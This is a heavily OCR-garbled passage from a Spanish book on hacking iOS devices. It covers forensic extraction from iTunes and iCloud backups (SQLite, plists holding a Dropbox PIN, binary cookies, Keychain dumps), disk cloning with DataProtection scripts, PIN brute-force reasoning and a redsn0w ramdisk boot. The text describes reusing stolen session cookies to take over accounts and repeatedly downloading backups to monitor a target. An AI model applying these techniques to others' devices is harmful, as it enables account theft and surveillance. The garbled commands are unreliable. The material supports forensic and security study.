Library/Preferences/com.Apple. MohileSMS. Plist
Library/SMS/*

Sonidos

Library/Preferences/com.4pple preferences.sounds.//is?
Library/Preferences/com.Apple.springboard. Plist

Mensajes de voz

Media/Recordings/™

Fondos de pantalla

Library/SpringBoard/LockBackground.cpbitmap
Library/SpringBoard/LockBackgroundThumbnail jpg
Library/SpringBoard/HomeRackground.cpbitmap
Library/SpringBoard/HomeBackground I humbnail.jpg

Clima

Library/Preferences/com.Apple.weather. Plist
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Analisis de Ficheros SQLite

Las bases de datos SQLite son un estandar en cualquier dispositivo movil, va sea i0S o Andrvid.
Estas bases de datos se caracterizan por estar oplimizadas para ocupar poco espacio, estar formadas
por tan solo uno o dos ficheros y ofrecer la versatilidad del lenguaje SQL a los desarrolladores de
aplicaciones.

Por todo ello es muy comun detectar un elevado niunero de este tipo de archivos cn la copia de
seguridad de un terminal iQS, ya que la gran mayoria de aplicaciones almacenard datos en ellos,
incluidas las aplicaciones del sistema operativo /(S, como por ejemplo las siguiente:

Contenido iOS | Nombre del fichero Nombre del backup
SMS 1-4 | sms.db 3dld7eS5tb2ce?88813306e4d4636395e047a3d28
Contactos =i AddressBook.sglitedb | adb8c77534444e97¢31T15924d503ed 1 (bd3b]
Contactos 2-4 | AddressBook.sqlitedh | 31bb7ba8914766d4had0d6dfh6113ckbh14hed42
Calendario 1 Calendar.sqlitedb 11eefedelete0220309f21024621c92b7df89a0
Calendario 2-4 | Calendar.sqlitedb 2041457d5fz04d39d0ab481 1 78355df678 1c6858
Notas 1-3 | notes.db T40h7eatP3d6ea5d305e88bh349c8e0643118c3h
Notas - |4 | notes.SOLite ca3be05604dalbbl88bsb3be254M307147¢63%
Hist. de llamadas 1 call history.db a49bfab36504bel bi563¢1d1813b05efd6076717
Hist_ dé llamadas 2-3 |call history.db F1324e6b94911 [b2[b449%¢cddb50c89¢3699a78
HisL. de Namadas | 4 call_history.db Zh2bl084al bedaSacRe?2 7afdt 4ath42c61al9ca
Localizacién 4 consolidated.db 4096c9ec676f2847de283405900e284a7¢815836

o sohtcdb

FE WITIR , I TERON:: M Saular
Eits_Ma 1 <l o L res. e WITIE, I e M Fadnkeka -
i =T ey sl com
al||vu'u+Tu Al Lﬁf@gm.u s !
'na;:l [W] :Jhligﬂ] Lma;a] [ mage] Oz 20% deecuznio en tht’EGE POIE

F\mpm? » “? Peter hmrma ¥ * rlaarad up ﬂ'! LF"‘pn:h
i were st rhahng bt this en ﬂ-nrrﬂ'l Thiz iz whatT g-t when nmep is sshu




82 Hacking de dispositivos i0S: iPhone & iPad

Para visualizar ¢l contenido de las bases de datos existen multiples herramientas para cualquier
sistema operative que pucden ser utilizadas. Desde la propia pagina oficial de SQ7.ife hacen un
inventario de ellas por lo que hay maltiple variedad donde un usuario puede elegir. Una de estas
herramientas es SQLite Administrator, que tiene un aspacto como el que se puede ver en la imagen
anterior. Este tipo de utilidades se conectan a través del lenguaje SQI. a los ficheros SQLite, por 1o
que muestran la informacién contenida dentro de las tablas y no dentro del fichero, ya que puede que
haya mas datos dentro de los archivos SOLife que los que se ven en las tablas.

Estos archivos de SQLie tienen un [ormato muy similar al de un sistema de ficheros de un
sistema operativo al uso. en el que se utilizan indices que apuntan a los datos reales (los registros)
almacenados dentro de él. Cuando un elemento de una tabla es eliminado lo que se moditfica es el
registro y no el dato. por lo que en ocasiones cabe la posibilidad de rastrear ¢l archivo SQLite a nivel
de bits y encontrar incluso informacion eliminada de la base de datos, lo que puede ser de extrema
utilidad con los datos mas sensibles.

Editando ¢l fichero con un editor hexadecimal seria mas que suficiente para ver cadenas de texto
perdldas dentro del ﬁchcro de datos, aunque hay opciones mas visuales y eficaces como el servicio
_ jue pemnten el procesado automatlco desde una pagina web para recuperar

Imagen 04.12: Caracteristicas que puede recuperur Recover Messagey.

El servicio RecoverMessages actualmente procesa bases de datos SOLite de aplicaciones como
Whatsapp. Tuenti Movil, Line o SpotBros. En la siguiente imagen se pucde ver cdmo sc recuperan
conversaciones horradas de Whatsapp.

Imagen V4.13: Captura de conversaciones de Wiatsapp realizadas por Kecover /essages.
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alisis de ficheros Plist

archivos Property list (Plist) organizan datos de forma estructurada. Generalmente son utilizados
;omo ficheros de configuracion y se distribuyen con dos [ormaltos distintos: en XML y en binarios.

indistintamente del formato de su contenido. es aconsejable usar una herramienta que ayude a
abajar con ellos, ya que en ocasiones pueden ser de gran tamafio y complejos de tratar, Por otra
E estas utllldades tamblen facnhtaran la conversion a XML de aqut,llos Ph.si que sean b:narms

Plist FEditor cs una aplicacion gratuita (de uso no comercial) para Microseft Windows que soporta
ambos formatos, permite hacer busquedas, minimizar grupos de etiquetas y revisar la sintaxis antes
e guardar un archivo modificado.

| e o <2zml version="1.0" encoding="UIF-8"3r
| 2  <IDOCTYPE pliss PUBLIC "—//Apple//DTD PLIST 1_0//EN"™ "http://
1 3 meplist wversion="1_0">
%I 4 ‘= cdicty
| 5 <key*BarkupState</key>
I € zaringrnewc/anring>
1l 7 tkay>Dates/kay>
| B “date>2012-11-22IT22:.35:23Z</date>
| i ; <keyrIsFullBackup</zey>
] ’ 140 <=false/>
| 11 <tkay>SnapshotState</ kays
| 1z <gtringrfinished</string>
Y= <key>UUID</ key>
| ’ - <aTring>662A8568-B122-1225-B673-BA4C095999%</ string>
I Lt thay>Varsiont/ kay>
i 16 <string>Z.4</string>
| 17 </dictr
1F  </plisc>
15
Dl T N— >

Imagen 04.14: Aplicacion plist Editor.

Dentro de un archivo Plist se pueden encontrar cadigos PIN de seguridad, nombres de usvario,
correos electronicos, permisos e incluso contrasefias, por lo que la revision debe ser exhaustiva y
meticulosa, en especial, en aquellas aplicaciones mas relevantes.

Un ¢jemplo de esto se encuentra en el PIN que un usuario puede establecer para acceder desde su
erminal iPhone a Dropbox. Este cadigo PIN se encuentra dentro un fichero Plist llamado com.
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geldropbox. Dropbox. Plist almacenado en la carpeta de la aplicacién. Basta con acceder a €l con un
editor de ficheros Plist y obtenerlo.

st~ plist Edlilor [or Wirklows

Fle Edt Wew Heb
sWliues 7.

e

13 “lewrbropbouErowseivate</hay>
14 = “data-

18

le

23

18

12

20

< datas
<kayslropboxDaclffesr—f11-17 ffurafactura Aleiandro Ranos Fraile &
dreald Od/renls
tkryrlivaphnzlocO0ffset—/SegFanle /backup. rer</lioy>
fraalyr 05/ /reals
<ksyrDropboxlocOffseo-/iFaane incro.pdi=/Eey>
froal>

T e e e T
<kayrDrapboxl
“zoring-S969- 1

T » asabata</key>
“fal=se />
<key:Dropboxlasscodeloguirc Inmcdiocelytnictive < hey>
“rrue/s>

=heyrDropbonlhotoUploadsFolder</haw=
“ctringr/<sstrings

<keyrFileCachedluaFuy~ fhayy

<integar-104357600+  integax>

I
1

Imagen (4.15: PIN de la aplicacion Lwepbox almacenado en un fichero plist del backup.

Analisis de binary cookies

Al igual que en los sistemas operativos de escritorio, en los terminales iOS se guardan cookies de
sesion, tanto la de los navegadores como Apple Safari 0 Google Chrome. como la de las aplicaciones
que funcionan usando servicios web, como son la inmensa mayoria, por ejemplo: Facebook,
Dropbox, Google Maps, etcétera.

A diferencia de los navegadores web, las coakies de sesion de aplicaciones que utilizan web services
son guardadas en archivos binarios y no s¢ pueden leer transparentemente, Estos ficheros tienen
la extension “binarycookies”, y estin compuestos por paginas, que a su vez s¢ forman mediante
registros con los datos de cada cookie.

Como no cxiste documentacion sobre como se genera un registro, se han obtenido los campos mas
relevantes mediante ingenieria inversa. que son los signientes:
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Dato Tamaifo
Tamano de la cookie . 4
Desconocido 4
Atributos: .
Ox1 secure 4
0x4 httponly

0x5 secure+hitponly

Desconocido |

Direccionamiento de la URL

Direccionamiento del Nombre

Direccionamiento de la Ruta

Direccionamiento del Valor

Final de la cookie

Fecha de expiracion

Fecha de creacion

URL (termina con null)

Nombre (termina con null)
Ruta (termina con null)

Z\|Z |2 |2 | oo o0 oo | f b ||

Valor (termina con null)

Los ficheros de tipo binarycookie se pueden convertir € imprimir a texto plano con el scripf en
‘Python BinarvCoolieReadery desarrollado por Satishb3¥En ocasiones, estas sesiones son vilidas y
st pueden uiilizar con un navegador web de un escritorio. En otras. la aplicacion utilizara un servicio
web del que hay que conocer las peticiones, por lo que lo més sencillo es copiar las binarveookies
directamente a la misma aplicacion de otro iPhone y utilizarlo.

rontght & python Rinaryronkienepder py ronkies hinaryrookics
" T ok A i s e s o Ak g

# BinaryCookieReader: developed by Satishb3: hitp://wavw.securitylearn.net &
g o i s G e R S o e s el o R e e e g

Cookie :  utma=148477868.1971545002.13457631858, 1352724013, 1354888622, 18; do|
mAin-.perrinter.es; path=/; expzres=Fri, ZB Mov 2014,
Lookie :  uTmb=158477868.4.16.1354080022: domain=.perrinter.es: path=/: exp

ires=wed, 2B Nov 2812;

Cooklie : _ utmk=135400B04E994. AW rcWs lawrbwlrZxhocCajdG7pbnALZIThbA==.0.08.0

--.1.2721.6.32.1354888043715; domain=.perrinter.es; path=/; expires=Thu, 28 N

oy 2813: :

Conkie : uiml=139 _ A1 raW32bkwchM rbwd2awlAZW30B3M=. .8.20. 8. 0.8.8....1.1.8;

domatm=.perrinter.as; path=/; expires=Thu, 28 Nov 2613;

Copkie : _ uimz=1408477B68.13549B6922.10.1.rtmcsr={direct) jutmcon={darect] jut

cad=(nene); domain—,parrinter.es: path=/: explres=fFri. 28 Dec 2012:

Copkie : ezk=I16Z2I1420A1QMTS0Q1345763185876; domain=.perrinter.es; path=/; ex

pires=Man, 17 Aug 2037;

Copkir : coepche=0; domainsmowil. perrinter.es; pathsf; cxpiress=cun, 22 Nov E-q
L

a37;
root@bt:-#

Imagen 04.16: Conversion de cookies con KinaryCookieReaderpy.
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Con la extension #para el navegador Firefox es muy sencillo modificar v afadir
nuevas entradas a pa datos obtenidos de una binarvcaokie. Fl objetivo de este andlisis es
llegar a acceder a sitios restringidos en los que la sesion sea valida, como podrian llegar a ser el
correo cleetronico, redes sociales, almacenamiento en la nube, mensajeria instantanea, etcétera.

Es especialmente interesante el correo personal, ya que una vez que se acceda a €1, ¢l resto de
usuarios y contrasefias se obtendran utilizando los procesos de “reinicio de contrasefia”™.

Para que la suplantacion sea eficaz, se ha de considerar que estas sesiones son validas para los sitios
especialmente disefiados para mdéviles. Lo que quicre deeir que., por cjemplo, es posible que una
cookie sea correcta para la web “m.Facebook.com™, pero no para “www./‘acebook.com”. En estos
casos, se deberd modificar también el User-Agent del navegador, para que redireccione al sitio web
correcto.

Casos famosos de hinarycookies que se encuentran en un terminal y que pueden ser utilizadas en
otros terminales sin problemas son los de Linkedin para iOS o Dropbox, permitiendo que si se tienen
esos ficheros del backup, baste con copiarlos y acceder a la cuenta del dueiio del backup.
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SBE R Ve ety Danic Fhip
- ol New Folder XD Refresh 4b Go UpLeval | B Copy From e 8 Copy To PU | 2 insl App [ AppFesi™ | | Q) Search Fles | M0
Foderiew i FileView | Delsils

I Name

 Tmagen 04.18: BinaryCookies de Linkedin. 1

Analms del Kevcham
cTh contenedor seguro, ¢

or mlﬂtlples apheacmnes pata guardar conlrasciias, cerrificados digitales, claves privadas @
ectera.jDe esta forma, cada aplicacion del sistema, tan solo accede a sus propias contrasefias
usando los métodos secliemAdd, secltemDelete, secltemCopyMatching y secliemUpdate, evitando
que las aplicaciones almacenen la nformacion de formas menos seguras (como en un fichero Plisi).

citrado con un algorilmo AES [28bits, que que es s usadaf

oy

Otra caracteristica del Keychain es el uso de clases segiin el dato que se quiera almacenar. Existen
cinco distintas: kSecClassGenericPassword para contraseiias gendricas, kSecClassinternetPassword
para contrasefias de Internet, ASecClass Certificate para certificados, kSecClassKey para llaves v
ESecClassldentity para identidades digitales (certificados con claves).

Para cifrar la informacion del Keychain se utiliza una clave Gnica por dispositivo, esta clave (key

Ox835) no s¢ pucde exportar de tal forma que el contencdor no puede ser leido en otro temuna[ Elj

rchivo de Keychwg : s SOLite que se. QQQW_Q@ dentro del termir

ta: /private/var/Ke) db y es guardado en el PC con Apple iTunes cada vez que 3
i

realiza una copia da Seg‘lﬁﬁdﬁi De esta copia alinacenada en el directorio de hackup no es posible

tener todos los datos, ya que tal y como sc ha explicado anteriormente, es necesaria una clave que

sté unicamente en ¢l dispositivo, pero si es posible exportar bastantc informacién.

o

; 3 incluida en los seripts de szwne datap
fiay usando el pardmetro ' ical

raot«_i"bl: ~/iphane-dataprotection/python_scripts

rnut@bt ~/iphone-dataprotectian/python_scripis# pylhon keychain_tool.py -p
froot/backup2/keychain-backup.plist /root/backup2/Manifest. plisl

If you have keyB35 for device 2e6088cc8068be9d3dddch37ccEe6Bhed32aadfedl enle
r it (in hex)

Writing passwords to keychain.csv
root@bt:~/iphone-dataprotection/pythan_scripts# [

Imagen 04.19: Voleado de Keychain con keychain tool.
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Dependiendo del niimero de aplicaciones que utilicen el Keychain en un terminal o del uso que el
dueiio del dispositivo le haya dado, podrin aparecer contrasefias de redes 7i-Fi, el PTN dg la STM.,
las claves de los correos electronicos, 1as contraserias de acceso a las VPN, etcétera.

Para realizar este volcado de contrasefias existen mas herramientas. La utilidad de Elcomseft Phone
: ftambién incluye un modulo especial para revisar el contenido del Kevchain
> un sistema de una forma mucho mas visual y seneilla. En cl siguiente cjemplo s¢ mucstran las
credenciales de una cuenta de correo que han sido extraidas del Kevchain de un backup con la

utilidad citada.

| 012002972257

| 201208-23T07.22.57Z
| CLAS

7. El backup en Apple iCloud

Con el nuevo servicio de Apple iCloud, para los usuarios de cualquier dispositivo {08 es posible
almacenar las copias de seguridad del terminal completo en la nube de Apple, ademés de sincronizar
olros datlos como lz agenda de contactos, las citas del calendario. las notas o las fotografias.

Para poder acceder a esta informacién almacenada en el backup de Apple iClond es necesario
conocer el nombre de usuatio y la contraseia de la cuenta dpple del duefio del terminal. Estas
credenciales no se encuentran dircetamente en ol Keyehain de un hackup de Apple iTunes, por lo
que serd necesario probar suerte con las usuarios y credenciales de aquellas cuentas que se hayvan
averiguado de otros servicios o utilizar un ataque directamente al terminal, haciendo un Jailbreak al
dispositive fisico o introduciendo un mahvare dentro del sistema.

En coalquier caso, una vez se tenga acceso a las credenciales de dpple iCloud, con ofra de las
caracteristicas de la utilidad de Elcomsoft se podran descargar copias de seguridad completas de
olras fechas del dispositivo. Tan solo introduciendo los parametros de autenticacion, scleccionando
la copia a volear y el directorio de destino.
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Select backups

i2 arf iPad2,2] [5N: DQTG40UZDRG 1A45]

UDID: 2eA005a9fa22233dddch37cc8180552ce8031a2c05
Updated: April, 30 2012 17:46; 3 snapshot(s)

Size: 169.9 MB

iaramosf {iPhone3, 1] [SN: 80040RDINW]

UDID: 419eb31a6577339275514e9180552ce2233ddddy
Updaizd: December, 05 2012 23:47; 3 snapshot(s)
Size: 2544.5MB

Imagen (4.21 Seleccion de copias de seguridad.

El contenido de Apple iCloud se almacena directamente sin cilrar, por lo que el andlisis consistira en
llevar a cabo las mismas tareas que una copia de Apple iTunes en la que no se establecid contrasena,

Esto permitiria vigilar constantemente al objetivo, ya que cada vez que se generase una nueva copia

de sepuridad esla podria ser descargada directamente a nuestra maquina y analizarla,
- &
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Capitulo V
iPhone DataProtection

1. Introduccion \

h,

Para habilitar la proteccion de datos ¢n un dispositive ihone es necesario conligurar una palabra
de paso o passcode, la cual es por defecto un cédigo de tipo PIN. aunque como se ha visto puede
ser mucho més compleja. Para configurarlo tan solo hay que habilitar esta caracteristica, la cual por
defecto viene en el apartado “General™ del dispositivo, tal y como se puede apreciar cn la imagen
siguiente:

Imuagen 05.01: Opeciones de contrasefa.

A partir de #0854 se cifra cada fichero creado con una clave aleatoria. Dicha clave se almacena a
bajo nivel, y permite que desde ¢l propio dispositivo, se pueda acceder al dato descifrado al vuelo.
Esta caracteristica da soporte a funciones de borrado seguro de la informacién del teléfono y a la
pruleeeion a alto nivel contra ataques de fuerza brula de contrasefia.
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Mediante procedimicnlos forenses se obtiene una imagen bit a bit del disco de un dispositivo
{OS usando herramientas especificas. Pricticamenle lodos los datos residentes en el dispositivo
se encontraran cifrados, haciendo inutiles todo tipo de técnicas relativas a la recuperacion de la
informacion en licmpo atil. Sin embargo, al existir fallos en el BoorROM explotables en el proceso
de arranque. es posible conseguir que sca ¢l propio QS el que descifre el disco y mediante las
herramientas de iPhone DataProtection acceder al sistema.

2. Montando iPhone DataProtection

Ll proceso de instalacién de las herramientas DataProtection es bastante sencillo de realizar. Para
ello, solo se hace necesario la instalacion de las signientes dependencias:

C:sUsersisiluerhackpip install construct purrypta m2eryptn progresshar P

Meguirement already satizfied <uae —upgrade to upgrade): construcl in cI\python2Z?\libhsite nm:ka\f[ﬂ
aurnnatruct—=2.B6-py2 . ? .egy s
quirenunt alrealy satisfied {use —upgrade to upgrade}! pycrypto im rivpythan 2P I ibseite-package

equirenent alveady satisfied (use —upgrade to upgrade’: nZerypto in u:\nyl.hun::'r\li.b\.site—pnckme;
equirenent alrsady satisfied {use —upgrade to upgrade?! progresshar in eispythan?2?y1ibsedte—paels
gursproyresshar—2 3-py2 P eq

leaning up...

slisprsssilverhack?

Tmagen 03.02: Instalacion de dependencias.
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Una ves que sc lengan las dependencias, las herramientas de iPhone DataProtection podréan
tarse sin problemas.

silverhack:“puthon backup tool.py
Ueage: backup_tonl.py <backup path> [output pathl

silverhack:

3.Clonando un iPhone bit a bit con iPhone
DataProtection

L as herramicntas de Daral’rotection incorporan un sencillo seripr que permite que se pueda clonar
it a bit una particion de un dispositivo ;OS.

[BT/Bin/=n
SSI0PTS="-p 2222 -oSiricibus LieyChecking-no -oUserkKnownHostsFile=/dev/null”

T=" S5k fASEIRT S rootflocalhost "L /device infus udid"”
if [ “SUDID" == " 1; then
exit
4
echo “Device UDID : SUDID™
mcdir -p PMID

DATE="date + ¥yinid M
HFT =500 0 dats BDATE. dmg

echo “Dumping cata partition in fmn ..."

sxh $55HOPTS root@localhost “dd if=/dev/rdiskRs2sl  hs=8192 || dd if=/dev/rdisks

5152 Dbs=RI01" > TOUT

._ una imagen de tipo DMG. Una vez terminada la copia binaria, esta puede abrirse con la aplicacién
FHE * o el propio sistema de ficheros de OS X.

| 5at: [imobsle Meda e 0EPEIT)

S Tk . | Catz Modded

1M8 R 5o5f1 15235
1 168 Fle SMSHL 1338
1 M8 Fie S/0S[4L 15332
1398 Fie S/OS/1L 15135
5408 Fle 0312 %51
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Debido a que la aplicacion HFSExplorer no puede descifrar por si misma el co
generada por las aplicaciones de DataProtection |

nu

dIrving to deceet CFneryptedEnceding strocture. ..
CEneryptediincading structure not found. Proceeding. ..
! Tryving to decect UDIF structure. ..

| luozF scrusrore not found. Proceeding...
|pos=D
|Volume cprocect major version : 2 => i0S 4

|volume Dnique ID : 36asealiarzTaren

|ozing plist ri1e I:\1Fhone\descifrado\36a36a11dr374Peh.pliar

IEF key : 8bal2celadh80S546741h=7500653284920F4baT3e3c4ca?7=9d61918E0950T50

|file id 113751 cprotect C20000000000C00004000000280000001tY4bc4T5E4b4583ae8bi2dEB30805D

4. Accediendo con HFS

Lainica informacion que sc encuentra parcialmente visible son los metadatos del sistema de ficheros,
Pero toda la informacién relativa a un archivo u objeto del dispositivo, se encontrard cifrada en su
interior. Una herramienta sencilla, intuitiva y de licencia GNU, es la herramienta HI'S Explorer.
Se puede descargar graluitamente, y servird para ilustrar un poco mas esta caracteristica de los
dispositivos propicdad de Apple. En la siguiente caplura, el lector podra comprobar como se puede
ver con claridad los metadatos del sistema de ficheros de un iPhone 4. Estos metadatos, son utiles
para poder desenvolverse con soltura por el sistema de ficheros, e identificar con claridad todos y
cada uno de ellos.

Imagen 05.06: Metadatos en sistema de ficheros HFS.
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Si s¢ desea extraer algtn dato, HFS Explorer ofrece una opcion interesante y facil. A través del botén
derecho del raton, es posible cxtraer los datos directamente a un PC.

ath: [fmobie MadianrTe  100AZPLE] ! |

i~ || Neme Size Tyne Date Modified
e oo01.p6 1MB Fic 5/05/11 19:35
IMG_0002. TS 1MB Fie 5/n5/11 19:36
IMG_00D3.JPG 1MB File 5/05/11 13:36
TG_0004.9PG 1M8 Fle 5/05{11 13:56
; - ' 7212 3251
| Information
 Bdtract resource fark(s)
| Extract data and resource fork{s)

Imazen 05.07: Extraccion de datos en sistema de ficherus HFS.

Una ver cxtraido el dato, si se edita el mismo con alglin editor hexadecimal, se podra comprobar
ue el dato se encuentra ilegible, y por tanto, indtil desde un punto de vista malicioso o de forense
or ejemplo.

B wac o G

Cffset [h}
DD g
20000010 37 3 WLTIEMOAT . e L6
ARUNDOZD 7 YB4I9€, -aunX.A:
20000030 7 5 3 upazeewsi je@itd ¢
00000040 7 7 : »iEdz,g 8. ¢170. |
20000050 15 &+ 1 -_t8. /mGABIRL-@
200C0060 &7 "1GDIEp §. *Ve3
oouLunYd £ : ¢ oT -i=HcBE . R.uin
200C0D80 = H3 1#0FIG, &Q. =i u
LURANDYGT a - o Fn¥E_“RBG"-i5.vE
CODOGOAC A ce \mPeD. CAUAYERL
00DOCORT E 5 IT5T.Ue%:,
gdpococa : Linijee2 5A.1.F
00D0CoDe a1 "8,h0 SE.. D&IA:
2CD0COE: & —14E . 8.~ "= W] . B
0C0000FD 9 & WAA™SEFh. ¥F=
ULHU100 ; g CaE.-"0T1t
00000110 12 18 33 T & L .3)EAT [An . cAbes
00000120 7 HER' b ~vwd Mt
20000130 13 ] ¥}he.z0.0mE"0.
00000140 e oo 87 =GV pha. Pr.
DULIOT A0 5 iy o " o w..E. Flowg 28\ [-1.
00000180 53 B "1X/-=5¢, (BE0Q u
mene170 3 IRt E 11610
i | Cvenwrite

Imagen 05.08: Datos extraidos v cifradus en sistema dz ficheros 115,
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5.Sacando claves con iPhone DataProtection

Actualmente, los dispositivos iOS vienen con la funcionalidad de cifrado-descifrado por hardware,
lo que le confiere un procesador dedicado exclusivamente a esta tarea. Gracias a ello, se reduce
notablemente el impacto de cifrado-descifrado en el sistema operativo embebido.

En este procesador se encuentran embebidas dos claves. Una de las claves, es unf’claye' UID, la cual

§ referenciard a un usuario. Debido a que estos dispositivos son monousuario. esta clave AES sera
diferente para cada dispositivo. La otra clave almacenada en el procesador, es una clave hardware,
y llamada 1D, la cual identifica una tinica clave por modelo de dispositivo.

El proceso de cifrado consiste en cifrar cada fichero con una Gnica clave. Esta clave, serd una clave
derivada de las claves almacenadas en cl procesador dedicado (UID més GID), mas la clave que
gencre el proceso o aplicacion que necesite generar y/o modificar un fichero dentro del espacio del
usuario. Fstas llamadas. a su vez, se almacenan en un contenedor, el cual es llamado keybag. Este
contenedor. (basado en software), a su vez, se encuentra protegido gracias a la palabra de paso o
PIN, que se utiliza normalmente para desbloquear el dispositivo.

Usualmenlc esta palabra de paso, suele ser un PIN de 4 digitos. Un PIN de este tipo, es una contrasefia
facilmente adivinable por técnicas simples basadas en tiempo, en fuerza bruta, en probabilidad y en
entropia.

A través de la probabilidad, y conociendo todos los estados posibles de un PIN, s¢ puede medir la
frecuencia con la que se obtiene un resultado especifico y itil. La entropia, a su vez, permite que s¢
pueda medir la incertidumbre de una fuente de informacion.

Para poder medir la fortaleza de una contrasefia basada en un PIN de 4 digitos en un supuesto atague
por fuerza bruta, se pueden realizar calculos computando la entropia de la informacion basandose en
dos variables clave. Una de ellas sera el niimero de posibles simbolos a escoger en una contrasefia,
y la otra variable serd el niimero de simbolos en la contrasefia. Para cllo, se puede utilizar la formula
siguiente: P

o _ logN
H—LIDgQN——Lm

Imagen 05.09: Formu'a para medir la [ortaleza de una contrasefia.

Al aplicar a la férmula baséandose solo en una clave basada en PIN, el nimero de posibles simbolos
(simbolos del 0 al 9), unido al numero de simbolos en una conlraseiia de tipo PIN (4), se obtiene una
entropia de 13.28. En pocas palabras, se necesitarian inicamente y como maximo 10.000 intentos
(10* posibilidades) para poder averiguar la clave que daria acceso al keybag.

Para dar mayor proteccion, los dispositivos i0S, llevan una proteccién por software, la cual impide
que se pucdan realizar ataques basados en fuerza bruta. Esta proteccion limita a 10 intentos el que




Capitulo V. iPhone DataProtection

= pueda introducir una clave errdnea. Si se sobrepasa esta harrera, el dispositivo borrard las claves
ternas necesarias para el citrado/descifrado, v la informacién sera irrecuperable.

Debido a que la caracteristica de DataProsection se disefid para proteger los datos frente a ataques
e tipo offtine (ataques cn donde se tienen los datos pero no cl dispositivo fisico), existen numerosas
Ecnicas y herramientas que se basan en ellas que tratan de dar solucion a esta problematica.

Preparando cl entorno

ando un dispositivo iPhone se inicia, lo hace siguiendo una cadena de confianza, verificando
ediante un sash cada fichero que carga durante ¢l arranque.

Phone. i

primera fase de arranque, se realiza a lravés del BootROM, y se completa cargando todos los
ificados raiz que se utilizarén para validar la firma de cada paquete quc sc instale en las siguientes
de arrangue.

2 vez que arranca el BootROM., este iniciard un cargador de arranque a bajo nivel (Low Level
7). Al inicializarse este (una vez verificada su firma a través de los certificados rai 7), sepasaraala
iente fase de arranque, la cual se iniciard con el iBoot. Uno de los cometidos de este cargador, es
ificar las firmas del Kernel, asi como las diferentes aplicaciones de usuario. Si estas son correetas,
sislema iniciard de manera correcta, v ¢l dispositivo se encontrara en una fasc de utilizacién por
rie de un usuario final.

2 poder saltar la restriccién de verificacion del cargador de arranque iBoor mias el sisiema
perativo, los dispesitivos basados en iPhone disponen de un modo especifico para estas tareas. Lis
& modo DI'U o modo de actualizacion de Firmware (Device Firmwere [ ipgrade).

=sie modo es utilizado principalmente para la actualizacion (o desactualizacién) del sistema
perativo instalado. T.a comprobacién de integridad de ficheros se corresponderia, una vez iniciado
| dispositivo, con la siguiente imagen:
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Antes de arrancar el dispositivo, es necesario generar una imagen de arranque con Jas herramientas
necesarias para poder realizar el ataque con éxito. Para cllo, las herramientas de Datalrotection.
incorporan un script llamado kernel_patcherpy, que estd disefiada para realizar esta funcion. Este
script necesita el fichero de claves utilizado por la aplicacion RedSn(hw para descifrar la Ramdisk
y ¢l kernel, asi como una imagen valida de un dispositivo iPhone. El fichero de claves que utiliza
RedSnthw se encuentra cn la propia aplicacion, v la extraccion es muy simple de realizar:

“hilverhackieurl -k ~0 —L hutpe://zites.gveyle.con/a iphane drv_consfilea honesredon@y_nac_B.9.9b6 . =iy
% Twtal ¥ Meceiued ¥ Rfawd Bwerage Speed Time i Time Current
Dinad Wpload Taotal Lef
8 273 5} d no1—i— Bl —:

a B 5§7 B B
UM 14.6M 1RR 14.6H a B

feilverhackiune ip redusnBu_mac B 9 Yhil.=ip
ineehive: redeonBu mac 8.9.908. cip
ereating: rodonfiv moc B.9.3B8s

inl laking: vadznfw_nac_@.9.2h8- .05 Etore

Ainf Lat im redsabw_nne_W_9_?hil Bnoc—iptdg.comnand

inf Latin: dits £xk
red ac_B.9. denbw.apps”
den@w. appContentss
denBw.app-ContentssTufu. plist
_mac_H s dzn@y . app-ContentesHac 08,
e _B. 7 . Phl A redsnbue o appeGontontasHac06-bn . tar.g=
_appCantent=Mar08 oot loge .png
_appslontents Maci hant logoxd . png
capprContents Mar 08 Ludia tar . ge
LapprContenteMac08-He ys . plizt
.appsCantentssMac0S progrece logo. pey
-nppeCantentz MacOS rd. tar
_apprlantents Marlf vedsnfu
znBuw_nac 8.9.9h8 red -apprCunlents Pkylnfo
redsnHu_nac_H_7.9hf e “Recources<
inflat reduodu_nac_HW_Y . FhU v appsContents Resources redenBe. iens

ilvcrhackiscopy reden@yv_mac_8.9.9b8%redynbu _app Contents\Mar(fisleys . plist cistenDy
1 Filel=d copied.

Los ficheros firmware de iOS se pucden descargar gratuitamente del sitio Web A
gm@Una vez generado el parche para la imagen descargada v construido una imagen de

Usage redsrily i <ste> -] [0 1T HIL al[ n][ b <stra] [k «str=]
[-d =stre] [-r =str>] [-a sl K -5 -U] )
o), ==IpEA_ LS use specified IPSW
-J, --justPwnLFU just ervier puned ETL mode
-, —justBoat just do tethered boul
-F, --justrostzcaveny just i recovery loop
H, shshBlobs Tetch the comrenthy installed 5 15H biohs
-0, --oldBootrom device has an old {not fied) boolivm
-n, —-nofctivale dory't activate an unactivered deviee
-b, --tetheredRaotl ogo=<str> koot logo PG file for tethered buols
-k —~kerneleche-<stre use specified kerneleache (advanced) -
-d, --devicetree=<5tr> uce specified devicelies [advanced)} i!
-1, —ramdisk— < st wrse specified ramdisk (advanced) |
-a, —bootArgs=<str> use speubed kemel boot-zrgs i
{advenced] |
¥, - -nokenePatc hes don't pre-apply defeuit set of kernel |
patches {advanced)
-5, ~-noStashing don't stash frplied when costom
bundle is used) [advanced)
U, —noUntetherl Incks don't do normal untether hacks
(irmplicd when custom bundle i used) [advanced)

by, ==help show this help
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Para pader explotar de manera eficiente las caracteristicas de las herramicnlas de DataProtection,
se debe arrancar la aplicacion RedSrnOw (Herramicnta utilizada para realizar Jailbreak a dispositivos
iPhone), con una serie de modificadores. Listos modificadores son los siguientes:

| Nombre del parimetro Explicacion
ipsw Utilizado para cargar una version especifica de fichero IPSW.
--ramilisk Carga una imagen RAM especifica.
--kernelcache Usa un fichero kernelcache especifico.

Una vez arrancada la aplicacion, se procederia de la misma mancra que si se fuese a realizarse un
Jailbreak a un dispositivo iPhone.

B C\Windowsisystem3 Acmd sse 5 = E] =

J
ti]u crharkisredznfu_ewe 5 "iThoned 1 5 B_YAY34_Rexlure.ipsw” = wyrandick.dng —k kerncleache.rslease.n®8.patched é‘
’ ilverhack:x
|

(rzcimlm 081085 22

Plzase make surc your dovice is hoth DFF and PLUGEH T m fhe -
oy ber

Ifitia not off, i the devies 1t the compter TIRST, Then,
boid dowe: the Sower button fon e edze of e doviee) undd
"Slide e Puwer O apowars, and then dide o power off,
Llick newt 0 ¥ whan yoar device 5 00T Foffand plugged i,

F you dready o ow to evser BRUmeds, you may do so
Fgnow from this sceen without diddng rext )

<gak [ Hewts | concd |

Imagen 05.14: arranque de herramienta RedSnth:

Una vez que el dispositivo se encuentra en funcionamiento, las caracteristicas de red no se encueniran
